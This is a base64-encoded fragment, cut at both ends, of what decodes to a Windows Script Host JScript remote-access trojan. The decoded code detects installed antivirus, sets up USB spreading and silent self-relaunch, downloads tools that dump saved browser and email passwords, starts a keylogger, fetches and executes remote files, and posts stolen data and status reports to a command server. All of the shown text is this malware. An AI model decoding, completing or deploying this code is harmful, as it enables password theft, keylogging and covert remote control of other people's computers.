vbiA9IHZlcnNpb25zdHJbMF0gKyAiLiI7DQpmb3IgKHZhciB4ID0gMTsgeCA8IHZlcnNpb25zdHIubGVuZ3RoOyB4Kyspew0Kb3N2ZXJzaW9uID0gb3N2ZXJzaW9uICsgdmVyc2lvbnN0clswXTsNCn0NCm9zdmVyc2lvbiA9IGV2YWwob3N2ZXJzaW9uKTsNCnZhciBzYzsNCmlmIChvc3ZlcnNpb24gPiA2KXsgc2MgPSAic2VjdXJpdHljZW50ZXIyIjsgfWVsc2V7IHNjID0gInNlY3VyaXR5Y2VudGVyIjt9DQp2YXIgb2Jqc2VjdXJpdHljZW50ZXIgPSBHZXRPYmplY3QoIndpbm1nbXRzOlxcXFxsb2NhbGhvc3RcXHJvb3RcXCIgKyBzYyk7DQp2YXIgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCAid3FsIiwgMCk7DQp2YXIgc2VjdSA9ICIiOw0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGFudGl2aXJ1cyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBvYmphbnRpdmlydXMgPSBmaS5pdGVtKCk7DQpzZWN1ID0gc2VjdSAgKyBvYmphbnRpdmlydXMuZGlzcGxheU5hbWUgKyAiIC4iOw0KfQ0KaWYoc2VjdSA9PSAiIil7c2VjdSA9ICJuYW4tYXYiO30NCnJldHVybiBzZWN1Ow0KfWNhdGNoKGVycil7fQ0KfQ0KZnVuY3Rpb24gZ2V0RGF0ZSgpew0KdmFyIHMgPSAiIjsNCnZhciBkID0gbmV3IERhdGUoKTsNCnMgKz0gZC5nZXREYXRlKCkgKyAiLyI7DQpzICs9IChkLmdldE1vbnRoKCkgKyAxKSArICIvIjsNCnMgKz0gZC5nZXRZZWFyKCk7DQpyZXR1cm4gczsNCn0NCmZ1bmN0aW9uIGluc3RhbmNlKCl7DQp0cnl7DQp0cnl7DQp1c2JzcHJlYWRpbmcgPSBzaGVsbG9iai5SZWdSZWFkKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSArICJcXCIpOw0KfWNhdGNoKGVlZSl7fQ0KaWYodXNic3ByZWFkaW5nID09ICIiKXsNCmlmIChXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLnN1YnN0cigxKS50b0xvd2VyQ2FzZSgpID09ICI6XFwiICsgIGluc3RhbGxuYW1lLnRvTG93ZXJDYXNlKCkpew0KdXNic3ByZWFkaW5nID0gInRydWUgLSAiICsgZ2V0RGF0ZSgpOw0KdHJ5e3NoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSArICJcXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiKTt9Y2F0Y2goZWVlZWUpe30NCn1lbHNlew0KdXNic3ByZWFkaW5nID0gImZhbHNlIC0gIiArIGdldERhdGUoKTsNCnRyeXtzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQ0KfQ0KfQ0KdXBzdGFydCgpOw0KdmFyIHNjcmlwdGZ1bGxuYW1lc2hvcnQgPSAgZmlsZXN5c3RlbW9iai5nZXRGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUpOw0KdmFyIGluc3RhbGxmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUpOw0KaWYgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkgIT0gaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkpew0Kc2hlbGxvYmoucnVuKCJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIik7DQpXU2NyaXB0LnF1aXQoKTsNCn0NCm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKTsNCn1jYXRjaChlcnIpew0KV1NjcmlwdC5xdWl0KCk7DQp9DQp9DQpmdW5jdGlvbiBwYXNzZ3JhYmJlciAoZmlsZXVybCwgZmlsZW5hbWUsIHJldGNtZCl7DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyB0YXNra2lsbCAvRiAvSU0gIiArIGZpbGVuYW1lLCAwLCB0cnVlKTsNCnRyeXtmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoaW5zdGFsbGRpciArIGZpbGVuYW1lICsgImRhdGEiKTt9Y2F0Y2goZXkpe30NCnZhciBjb25maWdfZmlsZSA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZS5zdWJzdHIoMCwgZmlsZW5hbWUubGFzdEluZGV4T2YoIi4iKSkgKyAiLmNmZyI7DQp2YXIgY2ZnID0gIltHZW5lcmFsXVxuU2hvd0dyaWRMaW5lcz0wXG5TYXZlRmlsdGVySW5kZXg9MFxuU2hvd0luZm9UaXA9MVxuVXNlUHJvZmlsZUZvbGRlcj0wXG5Qcm9maWxlRm9sZGVyPVxuTWFya09kZEV2ZW5Sb3dzPTBcbldpblBvcz0yQyAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMSAwMCAwMCAwMCBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiBGRiAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCA4MCAwMiAwMCAwMCBFMCAwMSAwMCAwMFxuQ29sdW1ucz1GQSAwMCAwMCAwMCBGQSAwMCAwMSAwMCA2RSAwMCAwMiAwMCA2RSAwMCAwMyAwMCA3OCAwMCAwNCAwMCA3OCAwMCAwNSAwMCA3OCAwMCAwNiAwMCA2NCAwMCAwNyAwMCBGQSAwMCAwOCAwMFxuU29ydD0wIjsNCnZhciB3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShjb25maWdfZmlsZSwgMiwgdHJ1ZSk7DQp3cml0ZXIud3JpdGVMaW5lKGNmZyk7DQp3cml0ZXIuY2xvc2UoKTsNCndyaXRlciA9IG51bGw7DQp2YXIgc3RybGluayA9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOw0Kb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsNCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPTAiKTsNCm9iamh0dHBkb3dubG9hZC5zZW5kKCk7DQp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7DQp9DQppZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApew0KdHJ5ew0KdmFyICBvYmpzdHJlYW1kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOw0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7DQpvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7DQpvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KfWNhdGNoKGV6KXsNCnVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOw0KfQ0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnZhciBydW5uZXIgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKTsNCnZhciBzYXZlciA9IG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGg7DQpmb3IodmFyIGk9MDsgaTw1OyBpKyspew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQpXU2NyaXB0LnNsZWVwKDEwMDApOw0KcnVubmVyLnNoZWxsRXhlY3V0ZShzYXZlciwgIiAvc3RleHQgIiArIHNhdmVyICsgImRhdGEiKTsNCldTY3JpcHQuc2xlZXAoNTAwMCk7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNhdmVyICsgImRhdGEiKSl7DQp2YXIgb3V0cGF0aCA9IGluc3RhbGxkaXIgKyAid3NobG9nc1xccmVjb3ZlcmVkX3Bhc3N3b3JkX2JhY2t1cC5sb2ciOw0KdmFyIGZvbGRlciA9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7DQppZiAoIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQ0Kew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgbWtkaXIgXCIiICsgZm9sZGVyICsgIlwiIiwgMCwgdHJ1ZSk7DQp9DQpvYmpmc29kb3dubG9hZC5jb3B5RmlsZShzYXZlciArICJkYXRhIiwgb3V0cGF0aCwgdHJ1ZSk7DQpicmVhazsNCn0NCn0NCmRlbGV0ZWZhZihzdHJzYXZldG8pOw0KdXBsb2FkKHNhdmVyICsgImRhdGEiLCByZXRjbWQpOw0KfQ0KfQ0KZnVuY3Rpb24gcGFzc2dyYWJiZXIyKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxldXJsMil7DQpmb3IodmFyIGg9MDsgaDwyOyBoKyspew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQp0cnl7ZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyBmaWxlbmFtZSArICJkYXRhIik7fWNhdGNoKGV5KXt9DQp2YXIgY29uZmlnX2ZpbGUgPSBpbnN0YWxsZGlyICsgZmlsZW5hbWUuc3Vic3RyKDAsIGZpbGVuYW1lLmxhc3RJbmRleE9mKCIuIikpICsgIi5jZmciOw0KdmFyIGNmZyA9ICJbR2VuZXJhbF1cblNob3dHcmlkTGluZXM9MFxuU2F2ZUZpbHRlckluZGV4PTBcblNob3dJbmZvVGlwPTFcblVzZVByb2ZpbGVGb2xkZXI9MFxuUHJvZmlsZUZvbGRlcj1cbk1hcmtPZGRFdmVuUm93cz0wXG5XaW5Qb3M9MkMgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDEgMDAgMDAgMDAgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgRkYgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgODAgMDIgMDAgMDAgRTAgMDEgMDAgMDBcbkNvbHVtbnM9RkEgMDAgMDAgMDAgRkEgMDAgMDEgMDAgNkUgMDAgMDIgMDAgNkUgMDAgMDMgMDAgNzggMDAgMDQgMDAgNzggMDAgMDUgMDAgNzggMDAgMDYgMDAgNjQgMDAgMDcgMDAgRkEgMDAgMDggMDBcblNvcnQ9MCI7DQp2YXIgd3JpdGVyID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoY29uZmlnX2ZpbGUsIDIsIHRydWUpOw0Kd3JpdGVyLndyaXRlTGluZShjZmcpOw0Kd3JpdGVyLmNsb3NlKCk7DQp3cml0ZXIgPSBudWxsOw0KdmFyIHN0cmxpbmsgPSBmaWxldXJsOw0KaWYoaCA9PSAxKXtzdHJsaW5rID0gZmlsZXVybDI7fQ0KdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsNCnZhciBvYmpodHRwZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7DQpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7DQpvYmpodHRwZG93bmxvYWQuc2VuZCgpOw0KdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfQ0KaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsNCnZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsNCm9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsNCm9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOw0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCn0NCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQp2YXIgcnVubmVyID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIik7DQp2YXIgc2F2ZXIgPSBvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoDQpmb3IodmFyIGk9MDsgaTw1OyBpKyspew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQpXU2NyaXB0LnNsZWVwKDEwMDApOw0KcnVubmVyLnNoZWxsRXhlY3V0ZShzYXZlciwgIiAvc3RleHQgIiArIHNhdmVyICsgImRhdGEiKTsNCldTY3JpcHQuc2xlZXAoMjAwMCk7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNhdmVyICsgImRhdGEiKSl7DQp2YXIgb2Jqc3RyZWFtdXBsb2FkZSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbXVwbG9hZGUuVHlwZSA9IDI7DQpvYmpzdHJlYW11cGxvYWRlLk9wZW4oKTsNCm9ianN0cmVhbXVwbG9hZGUubG9hZEZyb21GaWxlKHNhdmVyICsgImRhdGEiKTsNCnZhciBidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWRUZXh0KCk7DQpvYmpzdHJlYW11cGxvYWRlLmNsb3NlKCk7DQp2YXIgb3V0cGF0aCA9IGluc3RhbGxkaXIgKyAid3NobG9nc1xccmVjb3ZlcmVkX3Bhc3N3b3JkX2Jyb3dzZXIubG9nIjsNCmlmKGggPT0gMSl7b3V0cGF0aCA9IGluc3RhbGxkaXIgKyAid3NobG9nc1xccmVjb3ZlcmVkX3Bhc3N3b3JkX2VtYWlsLmxvZyI7fQ0KdmFyIGZvbGRlciA9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7DQppZiAoIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQ0Kew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgbWtkaXIgXCIiICsgZm9sZGVyICsgIlwiIiwgMCwgdHJ1ZSk7DQp9DQp3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShvdXRwYXRoLCAyLCB0cnVlKTsNCndyaXRlci53cml0ZShidWZmZXIpOw0Kd3JpdGVyLmNsb3NlKCk7DQp3cml0ZXIgPSBudWxsOw0KYnJlYWs7DQp9DQp9DQpkZWxldGVmYWYoc3Ryc2F2ZXRvKTsNCn0NCn0NCn0NCmZ1bmN0aW9uIGtleWxvZ2dlcnN0YXJ0ZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxlYXJnLCBpc19vZmZsaW5lKXsNCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHRhc2traWxsIC9GIC9JTSAiICsgZmlsZW5hbWUsIDAsIHRydWUpOw0KdmFyIHN0cmxpbmsgPSBmaWxldXJsOw0KdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsNCnZhciBvYmpodHRwZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiICk7DQpvYmpodHRwZG93bmxvYWQub3BlbigiZ2V0Iiwgc3RybGluaywgZmFsc2UpOw0Kb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoImNhY2hlLWNvbnRyb2w6IiwgIm1heC1hZ2U9MCIpOw0Kb2JqaHR0cGRvd25sb2FkLnNlbmQoKTsNCnZhciBvYmpmc29kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOw0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCm9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsNCn0NCmlmIChvYmpodHRwZG93bmxvYWQuc3RhdHVzID09IDIwMCl7DQp0cnl7DQp2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuVHlwZSA9IDE7DQpvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7DQpvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsNCm9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsNCm9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7DQpvYmpzdHJlYW1kb3dubG9hZCA9IG51bGw7DQp9Y2F0Y2goZXJyKXsNCnVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOw0KfQ0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnNoZWxsb2JqLnJ1bigiXCIiICsgc3Ryc2F2ZXRvICsgIlwiICIgKyBob3N0ICsgIiAiICsgcG9ydCArICIgXCIiICsgZmlsZWFyZyArICJcIiAiICsgaXNfb2ZmbGluZSk7DQp9DQp9DQpmdW5jdGlvbiBzZXJ2aWNlc3RhcnRlciAoZmlsZXVybCwgZmlsZW5hbWUsIGZpbGVhcmcpew0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7DQp2YXIgc3RybGluayA9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIgKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7DQpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7DQpvYmpodHRwZG93bmxvYWQuc2VuZCgpOw0KdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfQ0KaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsNCnRyeXsNCnZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsNCm9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsNCm9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOw0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCn1jYXRjaChlcnIpew0KdXBkYXRlc3RhdHVzKCJBY2Nlc3MrRGVuaWVkIik7DQp9DQp9DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kc2hlbGxvYmoucnVuKCJcIiIgKyBzdHJzYXZldG8gKyAiXCIgIiArIGhvc3QgKyAiICIgKyBwb3J0ICsgIiBcIiIgKyBmaWxlYXJnICsgIlwiIik7DQp9DQp9DQpmdW5jdGlvbiBzaXRlZG93bmxvYWRlciAoZmlsZXVybCxmaWxlbmFtZSl7DQp2YXIgc3RybGluayA9IGZpbGV1cmw7DQp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOw0KdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIuc2VydmVyeG1saHR0cCIgKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7DQpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbCIsICJtYXgtYWdlPTAiKTsNCm9iamh0dHBkb3dubG9hZC5zZW5kKCk7DQp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7DQp9DQppZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApew0KdmFyICBvYmpzdHJlYW1kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsNCm9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOw0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7DQpvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7DQpvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOw0KfQ0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsNCnNoZWxsb2JqLnJ1bihvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoKTsNCnVwZGF0ZXN0YXR1cygiRXhlY3V0ZWQrRmlsZSIpOw0KfQ0KfQ0KZnVuY3Rpb24gZG93bmxvYWQgKGZpbGV1cmwsZmlsZWRpcil7DQppZihmaWxlZGlyID09ICIiKXsNCmZpbGVkaXIgPSBpbnN0YWxsZGlyOw0KfQ0Kc3Ryc2F2ZXRvID0gZmlsZWRpciArIGZpbGV1cmwuc3Vic3RyKGZpbGV1cmwubGFzdEluZGV4T2YoIlxcIikgKyAxKTsNCnZhciBvYmpodHRwZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArIi8iICsgInNlbmQtdG8tbWUiICsgc3BsaXRlciArIGZpbGV1cmwsIGZhbHNlKTsNCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOw0Kb2JqaHR0cGRvd25sb2FkLnNlbmQoIiIpOw0KdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7DQppZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpew0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOw0KfQ0KaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsNCnZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQpvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsNCm9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsNCm9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOw0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCn0NCmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7DQpzaGVsbG9iai5ydW4ob2JqZnNvZG93bmxvYWQuZ2V0RmlsZShzdHJzYXZldG8pLnNob3J0UGF0aCk7DQp1cGRhdGVzdGF0dXMoIkV4ZWN1dGVkK0ZpbGUiKTsNCn0NCn0NCmZ1bmN0aW9uIHVwZGF0ZXN0YXR1cyhzdGF0dXNfbXNnKXsNCnZhciBvYmpzb2MgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsNCm9ianNvYy5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArICIvIiArICJ1cGRhdGUtc3RhdHVzIiArIHNwbGl0ZXIgKyBzdGF0dXNfbXNnLCBmYWxzZSk7DQpvYmpzb2Muc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsNCm9ianNvYy5zZW5kKCIiKTsNCn0NCmZ1bmN0aW9uIHVwbG9hZCAoZmlsZXVybCwgcmV0Y21kKXsNCnRyeXsNCnZhciAgaHR0cG9iaixvYmpzdHJlYW11cGxvYWRlLGJ1ZmZlcjsNCnZhciBvYmpzdHJlYW11cGxvYWRlID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOw0Kb2Jqc3RyZWFtdXBsb2FkZS5UeXBlID0gMTsNCm9ianN0cmVhbXVwbG9hZGUuT3BlbigpOw0Kb2Jqc3RyZWFtdXBsb2FkZS5sb2FkRnJvbUZpbGUoZmlsZXVybCk7DQpidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWQoKTsNCm9ianN0cmVhbXVwbG9hZGUuY2xvc2UoKTsNCm9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsNCnZhciBodHRwb2JqID0gV1NjcmlwdC5DcmVhdGVP